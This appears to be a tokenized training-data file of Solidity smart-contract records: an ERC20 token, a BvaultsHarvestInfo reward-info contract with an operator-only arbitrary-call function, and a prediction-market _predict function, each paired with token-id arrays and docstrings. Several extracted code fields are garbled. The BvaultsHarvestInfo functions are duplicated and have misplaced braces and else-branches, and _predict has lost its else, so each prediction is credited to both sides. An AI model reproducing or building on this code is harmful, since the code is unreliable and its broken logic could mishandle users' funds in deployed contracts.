[ 1, 3639, 3844, 774, 5912, 273, 3844, 774, 5912, 18, 16411, 12443, 2629, 18, 5508, 2934, 1717, 12, 21056, 310, 3245, 18, 588, 6064, 6032, 4921, 12, 3890, 1578, 12, 23322, 548, 3631, 4215, 3719, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; /** * @dev Implementation of the {IERC20} interface. */ contract ERC20 is IERC20 { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name}, {symbol} and {decimals} */ constructor (string memory name_, string memory symbol_, uint8 decimals_) { _name = name_; _symbol = symbol_; _decimals = decimals_; } /** * @dev See {IERC20-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC20-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC20-decimals}. */ function decimals() public view virtual override returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { return _balances[owner]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `value`. */ function transfer(address to, uint256 value) public virtual override returns (bool) { _transfer(msg.sender, to, value, false); return true; } /** * @dev See {IERC20-transferFrom}. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `value`. * - the caller must have allowance for ``from``'s tokens of at least * `value`. */ function transferFrom(address from, address to, uint256 value) public virtual override returns (bool) { _transfer(from, to, value, true); uint256 currentAllowance = _allowances[from][msg.sender]; _approve(from, msg.sender, currentAllowance - value); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 value) public virtual override returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev Moves tokens `value` from `from` to `to`. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `value`. */ function _transfer(address from, address to, uint256 value, bool checkAllowance) internal { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(checkAllowance) { uint256 currentAllowance = _allowances[from][msg.sender]; require(currentAllowance >= value, "ERC20: transfer amount exceeds allowance"); } uint256 senderBalance = _balances[from]; require(senderBalance >= value, "ERC20: transfer amount exceeds balance"); _balances[from] = senderBalance - value; _balances[to] += value; emit Transfer(from, to, value); } /** @dev Creates `value` tokens and assigns them to `to` address, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address to, uint256 value) internal virtual { require(to != address(0), "ERC20: mint to the zero address"); _totalSupply += value; _balances[to] += value; emit Transfer(address(0), to, value); } /** * @dev Sets `value` as the allowance of `spender` over the `owner` s tokens. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } }
* @dev Creates `value` tokens and assigns them to `to` address, increasing the total supply. Emits a {Transfer} event with `from` set to the zero address. Requirements: - `to` cannot be the zero address./
function _mint(address to, uint256 value) internal virtual { require(to != address(0), "ERC20: mint to the zero address"); _totalSupply += value; _balances[to] += value; emit Transfer(address(0), to, value); }
921,562
[ 1, 2729, 1375, 1132, 68, 2430, 471, 22698, 2182, 358, 1375, 869, 68, 1758, 16, 21006, 326, 2078, 14467, 18, 7377, 1282, 279, 288, 5912, 97, 871, 598, 1375, 2080, 68, 444, 358, 326, 3634, 1758, 18, 29076, 30, 300, 1375, 869, 68, 2780, 506, 326, 3634, 1758, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 81, 474, 12, 2867, 358, 16, 2254, 5034, 460, 13, 2713, 5024, 288, 203, 3639, 2583, 12, 869, 480, 1758, 12, 20, 3631, 315, 654, 39, 3462, 30, 312, 474, 358, 326, 3634, 1758, 8863, 203, 203, 3639, 389, 4963, 3088, 1283, 1011, 460, 31, 203, 3639, 389, 70, 26488, 63, 869, 65, 1011, 460, 31, 203, 3639, 3626, 12279, 12, 2867, 12, 20, 3631, 358, 16, 460, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x5fcfA648ADBa75627092533f4b9545F99435f1A6/sources/DocumentStore.sol
A mapping of the document hash to the block number that was issued A mapping of the hash of the claim being revoked to the revocation block number
{ name = _name; }
2,697,853
[ 1, 37, 2874, 434, 326, 1668, 1651, 358, 326, 1203, 1300, 716, 1703, 16865, 432, 2874, 434, 326, 1651, 434, 326, 7516, 3832, 22919, 358, 326, 24158, 1203, 1300, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 288, 203, 565, 508, 273, 389, 529, 31, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.6.12; // SPDX-License-Identifier: MIT /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT interface IPancakeswapFarm { function poolLength() external view returns (uint256); function userInfo() external view returns (uint256); // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) external view returns (uint256); // View function to see pending CAKEs on frontend. function pendingCake(uint256 _pid, address _user) external view returns (uint256); function pendingMDO(uint256 _pid, address _user) external view returns (uint256); function pendingShare(uint256 _pid, address _user) external view returns (uint256); function pendingBDO(uint256 _pid, address _user) external view returns (uint256); function pendingRewards(uint256 _pid, address _user) external view returns (uint256); function pendingReward(uint256 _pid, address _user) external view returns (uint256); function pendingBELT(uint256 _pid, address _user) external view returns (uint256); function pendingBusd(uint256 _pid, address _user) external view returns (uint256); // Deposit LP tokens to MasterChef for CAKE allocation. function deposit(uint256 _pid, uint256 _amount) external; // Withdraw LP tokens from MasterChef. function withdraw(uint256 _pid, uint256 _amount) external; // Stake CAKE tokens to MasterChef function enterStaking(uint256 _amount) external; // Withdraw CAKE tokens from STAKING. function leaveStaking(uint256 _amount) external; // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) external; } // SPDX-License-Identifier: MIT interface IPancakeRouter01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETH( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountToken, uint256 amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETHWithPermit( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountToken, uint256 amountETH); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapTokensForExactETH( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactTokensForETH( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function quote( uint256 amountA, uint256 reserveA, uint256 reserveB ) external pure returns (uint256 amountB); function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountOut); function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountIn); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); } // SPDX-License-Identifier: MIT interface IPancakeRouter02 is IPancakeRouter01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } // SPDX-License-Identifier: MIT interface IHarvestInfo { function pending(address _strategy) external view returns (uint256); function pendingDollarValue(address _strategy) external view returns (uint256); } // SPDX-License-Identifier: MIT contract BvaultsHarvestInfo is IHarvestInfo { // governance address public operator; // flags bool public initialized = false; address public uniRouterAddress = address(0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F); // PancakeSwap: Router mapping(address => address) public farmingPools; // strategy => farming pool mapping(address => uint256) public farmingPoolIds; // strategy => farming pool id mapping(address => uint256) public farmingPoolTypes; // strategy => farming pool type mapping(address => address[]) public toBusdPath; // strategy => path to BUSD event Initialized(address indexed executor, uint256 at); function initialize() public notInitialized { uniRouterAddress = address(0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F); initialized = true; operator = msg.sender; emit Initialized(msg.sender, block.number); } modifier onlyOperator() { require(operator == msg.sender, "BvaultsBank: caller is not the operator"); _; } modifier notInitialized() { require(!initialized, "BvaultsBank: already initialized"); _; } function setUniRouterAddress(address _uniRouterAddress) external onlyOperator { uniRouterAddress = _uniRouterAddress; } function setStrategyFarmingPoolConfig(address _strategy, address _pool, uint256 _poolId, uint256 _type, address[] memory _path) external onlyOperator { farmingPools[_strategy] = _pool; farmingPoolIds[_strategy] = _poolId; farmingPoolTypes[_strategy] = _type; toBusdPath[_strategy] = _path; } function uniExchangeRate(uint256 _tokenAmount, address[] memory _path) public view returns (uint256) { uint[] memory amounts = IPancakeRouter02(uniRouterAddress).getAmountsOut(_tokenAmount, _path); return amounts[amounts.length - 1]; } function pending(address _strategy) public override view returns (uint256 _pending) { address _pool = farmingPools[_strategy]; if (_pool == address(0)) { return 0; } uint256 _poolId = farmingPoolIds[_strategy]; uint256 _type = farmingPoolTypes[_strategy]; if (_type == 0) { _pending = IPancakeswapFarm(_pool).pendingCake(_poolId, _strategy); } else if (_type == 1) { _pending = IPancakeswapFarm(_pool).pendingMDO(_poolId, _strategy); } else if (_type == 2) { _pending = IPancakeswapFarm(_pool).pendingShare(_poolId, _strategy); } else if (_type == 3) { _pending = IPancakeswapFarm(_pool).pendingBDO(_poolId, _strategy); } } function pendingDollarValue(address _strategy) external override view returns (uint256) { uint256 _pending = pending(_strategy); return (_pending == 0) ? 0 : uniExchangeRate(_pending, toBusdPath[_strategy]); } /* ========== EMERGENCY ========== */ function inCaseTokensGetStuck( address _token, uint256 _amount, address _to ) external onlyOperator { IERC20(_token).transfer(_to, _amount); } event ExecuteTransaction(address indexed target, uint value, string signature, bytes data); /** * @dev This is from Timelock contract. */ function executeTransaction(address target, uint value, string memory signature, bytes memory data) public onlyOperator returns (bytes memory) { bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } // solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call{value : value}(callData); require(success, "StratX::executeTransaction: Transaction execution reverted."); emit ExecuteTransaction(target, value, signature, data); return returnData; } }
SPDX-License-Identifier: MIT governance flags
contract BvaultsHarvestInfo is IHarvestInfo { address public operator; bool public initialized = false; event Initialized(address indexed executor, uint256 at); function initialize() public notInitialized { uniRouterAddress = address(0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F); initialized = true; operator = msg.sender; emit Initialized(msg.sender, block.number); } modifier onlyOperator() { require(operator == msg.sender, "BvaultsBank: caller is not the operator"); _; } modifier notInitialized() { require(!initialized, "BvaultsBank: already initialized"); _; } function setUniRouterAddress(address _uniRouterAddress) external onlyOperator { uniRouterAddress = _uniRouterAddress; } function setStrategyFarmingPoolConfig(address _strategy, address _pool, uint256 _poolId, uint256 _type, address[] memory _path) external onlyOperator { farmingPools[_strategy] = _pool; farmingPoolIds[_strategy] = _poolId; farmingPoolTypes[_strategy] = _type; toBusdPath[_strategy] = _path; } function uniExchangeRate(uint256 _tokenAmount, address[] memory _path) public view returns (uint256) { uint[] memory amounts = IPancakeRouter02(uniRouterAddress).getAmountsOut(_tokenAmount, _path); return amounts[amounts.length - 1]; } function pending(address _strategy) public override view returns (uint256 _pending) { address _pool = farmingPools[_strategy]; if (_pool == address(0)) { return 0; } uint256 _poolId = farmingPoolIds[_strategy]; uint256 _type = farmingPoolTypes[_strategy]; if (_type == 0) { _pending = IPancakeswapFarm(_pool).pendingCake(_poolId, _strategy); _pending = IPancakeswapFarm(_pool).pendingMDO(_poolId, _strategy); _pending = IPancakeswapFarm(_pool).pendingShare(_poolId, _strategy); _pending = IPancakeswapFarm(_pool).pendingBDO(_poolId, _strategy); } } function pending(address _strategy) public override view returns (uint256 _pending) { address _pool = farmingPools[_strategy]; if (_pool == address(0)) { return 0; } uint256 _poolId = farmingPoolIds[_strategy]; uint256 _type = farmingPoolTypes[_strategy]; if (_type == 0) { _pending = IPancakeswapFarm(_pool).pendingCake(_poolId, _strategy); _pending = IPancakeswapFarm(_pool).pendingMDO(_poolId, _strategy); _pending = IPancakeswapFarm(_pool).pendingShare(_poolId, _strategy); _pending = IPancakeswapFarm(_pool).pendingBDO(_poolId, _strategy); } } function pending(address _strategy) public override view returns (uint256 _pending) { address _pool = farmingPools[_strategy]; if (_pool == address(0)) { return 0; } uint256 _poolId = farmingPoolIds[_strategy]; uint256 _type = farmingPoolTypes[_strategy]; if (_type == 0) { _pending = IPancakeswapFarm(_pool).pendingCake(_poolId, _strategy); _pending = IPancakeswapFarm(_pool).pendingMDO(_poolId, _strategy); _pending = IPancakeswapFarm(_pool).pendingShare(_poolId, _strategy); _pending = IPancakeswapFarm(_pool).pendingBDO(_poolId, _strategy); } } } else if (_type == 1) { } else if (_type == 2) { } else if (_type == 3) { function pendingDollarValue(address _strategy) external override view returns (uint256) { uint256 _pending = pending(_strategy); return (_pending == 0) ? 0 : uniExchangeRate(_pending, toBusdPath[_strategy]); } function inCaseTokensGetStuck( address _token, uint256 _amount, address _to ) external onlyOperator { IERC20(_token).transfer(_to, _amount); } event ExecuteTransaction(address indexed target, uint value, string signature, bytes data); function executeTransaction(address target, uint value, string memory signature, bytes memory data) public onlyOperator returns (bytes memory) { bytes memory callData; if (bytes(signature).length == 0) { callData = data; callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } require(success, "StratX::executeTransaction: Transaction execution reverted."); emit ExecuteTransaction(target, value, signature, data); return returnData; } function executeTransaction(address target, uint value, string memory signature, bytes memory data) public onlyOperator returns (bytes memory) { bytes memory callData; if (bytes(signature).length == 0) { callData = data; callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } require(success, "StratX::executeTransaction: Transaction execution reverted."); emit ExecuteTransaction(target, value, signature, data); return returnData; } } else { (bool success, bytes memory returnData) = target.call{value : value}(callData); }
14,112,330
[ 1, 3118, 28826, 17, 13211, 17, 3004, 30, 490, 1285, 314, 1643, 82, 1359, 2943, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 605, 26983, 87, 44, 297, 26923, 966, 353, 467, 44, 297, 26923, 966, 288, 203, 565, 1758, 1071, 3726, 31, 203, 203, 565, 1426, 1071, 6454, 273, 629, 31, 203, 203, 203, 203, 565, 871, 10188, 1235, 12, 2867, 8808, 6601, 16, 2254, 5034, 622, 1769, 203, 203, 565, 445, 4046, 1435, 1071, 486, 11459, 288, 203, 3639, 7738, 8259, 1887, 273, 1758, 12, 20, 92, 6260, 74, 42, 22, 38, 20, 2290, 8148, 7950, 28, 37, 8642, 3361, 70, 2486, 13459, 24, 74, 29, 73, 3437, 69, 40, 72, 4848, 28, 39, 27, 42, 1769, 203, 3639, 6454, 273, 638, 31, 203, 3639, 3726, 273, 1234, 18, 15330, 31, 203, 3639, 3626, 10188, 1235, 12, 3576, 18, 15330, 16, 1203, 18, 2696, 1769, 203, 565, 289, 203, 203, 565, 9606, 1338, 5592, 1435, 288, 203, 3639, 2583, 12, 9497, 422, 1234, 18, 15330, 16, 315, 38, 26983, 87, 16040, 30, 4894, 353, 486, 326, 3726, 8863, 203, 3639, 389, 31, 203, 565, 289, 203, 203, 565, 9606, 486, 11459, 1435, 288, 203, 3639, 2583, 12, 5, 13227, 16, 315, 38, 26983, 87, 16040, 30, 1818, 6454, 8863, 203, 3639, 389, 31, 203, 565, 289, 203, 203, 565, 445, 444, 984, 77, 8259, 1887, 12, 2867, 389, 318, 77, 8259, 1887, 13, 3903, 1338, 5592, 288, 203, 3639, 7738, 8259, 1887, 273, 389, 318, 77, 8259, 1887, 31, 203, 565, 289, 203, 203, 565, 445, 444, 4525, 42, 4610, 310, 2864, 809, 12, 2867, 389, 14914, 16, 1758, 389, 6011, 16, 2254, 5034, 2 ]
./full_match/80001/0xDD7E62725f586166995d048e797E6D05413B2D70/sources/contracts/protocol/markets/basic/library/MarketLib.sol
@dev Add new prediction @param market Market storage @param predictionsA Storage of predictionsA @param predictionsB Storage of predictionsB @param amount Amount of ForeToken @param side Predicition side (true - positive result, false - negative result) @param receiver Prediction creator
function _predict( Market storage market, mapping(address => uint256) storage predictionsA, mapping(address => uint256) storage predictionsB, uint256 amount, bool side, address receiver ) internal { if (amount == 0) { revert ("AmountCantBeZero"); } MarketLib.Market memory m = market; if (block.timestamp >= m.endPredictionTimestamp) { revert ("PredictionPeriodIsAlreadyClosed"); } if (side) { market.sideA += amount; predictionsA[receiver] += amount; market.sideB += amount; predictionsB[receiver] += amount; } emit Predict(receiver, side, amount); }
837,635
